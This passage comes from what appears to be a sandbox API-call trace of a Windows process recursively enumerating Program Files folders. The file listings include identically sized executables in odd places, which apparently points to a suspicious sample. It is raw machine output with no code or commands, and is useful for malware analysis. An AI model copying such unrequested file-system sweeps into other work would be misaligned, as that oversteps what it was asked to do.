hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.139] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0259.139] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0259.139] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 0 [0259.139] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0259.139] GetProcessHeap () returned 0x550000 [0259.139] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0259.139] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0259.139] GetProcessHeap () returned 0x550000 [0259.139] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0259.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0259.140] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.140] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fae55dc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5fae55dc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x5fc160dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0259.140] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0259.140] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0259.140] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0259.140] GetProcessHeap () returned 0x550000 [0259.140] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0259.140] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0259.140] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0259.140] GetProcessHeap () returned 0x550000 [0259.140] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0259.141] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0259.142] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.142] GetProcessHeap () returned 0x550000 [0259.142] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.142] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a8de300, ftCreationTime.dwHighDateTime=0x1cacf26, ftLastAccessTime.dwLowDateTime=0x553ced90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a8de300, ftLastWriteTime.dwHighDateTime=0x1cacf26, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.targets", cAlternateFileName="MICROS~1.TAR")) returned 1 [0259.142] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aea0b20, ftCreationTime.dwHighDateTime=0x1d5bd87, ftLastAccessTime.dwLowDateTime=0xeb8f3ae0, ftLastAccessTime.dwHighDateTime=0x1d5b9fb, ftLastWriteTime.dwLowDateTime=0xeb8f3ae0, ftLastWriteTime.dwHighDateTime=0x1d5b9fb, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="SCRIPT~1.EXE")) returned 1 [0259.142] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aea0b20, ftCreationTime.dwHighDateTime=0x1d5bd87, ftLastAccessTime.dwLowDateTime=0xeb8f3ae0, ftLastAccessTime.dwHighDateTime=0x1d5b9fb, ftLastWriteTime.dwLowDateTime=0xeb8f3ae0, ftLastWriteTime.dwHighDateTime=0x1d5b9fb, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="SCRIPT~1.EXE")) returned 0 [0259.142] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0259.142] GetProcessHeap () returned 0x550000 [0259.142] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0259.142] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbd6edc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbd6edc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0259.142] GetProcessHeap () returned 0x550000 [0259.142] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0259.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbd6edc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbd6edc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0259.142] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbd6edc0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbd6edc0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.142] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5580c7f0, ftCreationTime.dwHighDateTime=0x1d5864b, ftLastAccessTime.dwLowDateTime=0xd7e755f0, ftLastAccessTime.dwHighDateTime=0x1d5630b, ftLastWriteTime.dwLowDateTime=0xd7e755f0, ftLastWriteTime.dwHighDateTime=0x1d5630b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="bruceanalytical.exe", cAlternateFileName="BRUCEA~1.EXE")) returned 1 [0259.143] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69b7b70, ftCreationTime.dwHighDateTime=0x1d567a7, ftLastAccessTime.dwLowDateTime=0xbe47410, ftLastAccessTime.dwHighDateTime=0x1d57620, ftLastWriteTime.dwLowDateTime=0xbe47410, ftLastWriteTime.dwHighDateTime=0x1d57620, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="icq.exe", cAlternateFileName="")) returned 1 [0259.143] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0259.143] GetProcessHeap () returned 0x550000 [0259.143] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.143] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.143] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0259.143] GetProcessHeap () returned 0x550000 [0259.143] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0259.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0259.144] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.144] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0259.144] GetProcessHeap () returned 0x550000 [0259.144] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0259.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1db959, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab1db959, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab4fb63f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x406000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de43cb, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4de43cb, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79b03bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff96fd, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4ff96fd, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79e95cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaa915ec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaaa915ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab0aae57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x509000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dec0f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9dec0f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa0e5c7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653fb0e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x653fb0e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7a4fb7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa10bdda, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa10bdda, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa262a3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0259.147] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0259.147] GetProcessHeap () returned 0x550000 [0259.147] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0259.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0259.147] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.148] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0259.148] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1632, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 0 [0259.148] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0259.148] GetProcessHeap () returned 0x550000 [0259.148] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0259.148] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, 